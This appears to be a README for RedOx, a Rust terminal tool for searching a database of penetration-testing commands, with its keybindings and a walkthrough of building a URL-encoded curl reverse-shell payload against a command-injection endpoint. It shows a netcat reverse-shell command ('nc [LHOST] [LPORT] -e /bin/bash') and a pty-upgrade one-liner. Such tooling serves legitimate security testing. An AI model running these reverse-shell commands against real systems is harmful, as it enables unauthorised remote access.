This is a tool I wrote in Rust that is an updated CLI version of the python tool RTFM. I’m still new to Rust so I will be refactoring the code as I become familiar with the optimal way to write a Rust application. RedOx is currently using RTFM’s database, which I’m gradually updating with new commands and pushing to the git repository as I use the tool myself.

list of current commands

Ctrl+r           Enter quick search mode to dynamically find commands as you type.
Ctrl+c           Copy currently selected command to clipboard.
Ctrl+u           URL-encode and then copy currently selected command to clipboard.
Crtl+h or hist   Display selectable history of already selected commands.
Ctrl+v           Paste from clipboard
info             Display info on the currently selected command.
env              Show user variables that have already been set.
add -c           Add a command to the database e.g. 'add -c nc [LHOST] [LPORT] -e /bin/bash'
update           Update a database column in the selected command
                 e.g. comment, command, author or references
                 Example: update references http://blog.gregscharf.com
Esc              Exit current mode.
help             Display help
Ctrl+q or exit   Exit redOx.

Below is a terminal capture that highlights RedOx’s usage. It’s an example of building a curl command that contains a bash reverse shell to interact with a php endpoint that is vulnerable to remote code execution via command injection. Typically this would require going to my notes or maybe a website for specific command syntax that I might not quite remember, maybe using Cyber Chef or Burp to url encode the payload, getting a reverse shell one liner from my notes or from Rev Shells for the payload, and then once I get a shell, typing `python3 -c “import pty;pty.spawn('/bin/bash’);” to get a proper pty. It’s especially useful for any syntax that isn’t already in my terminal history that I would ordinarily retrieve through a Crtl+r search or via the bash-autocompletion zsh plugin I use. Although the database does contain quite a lot of that syntax as well, which can be useful in certain situations. Each command also has one or more reference links to a video or web content explaining what the command does.

RTFM-RedOx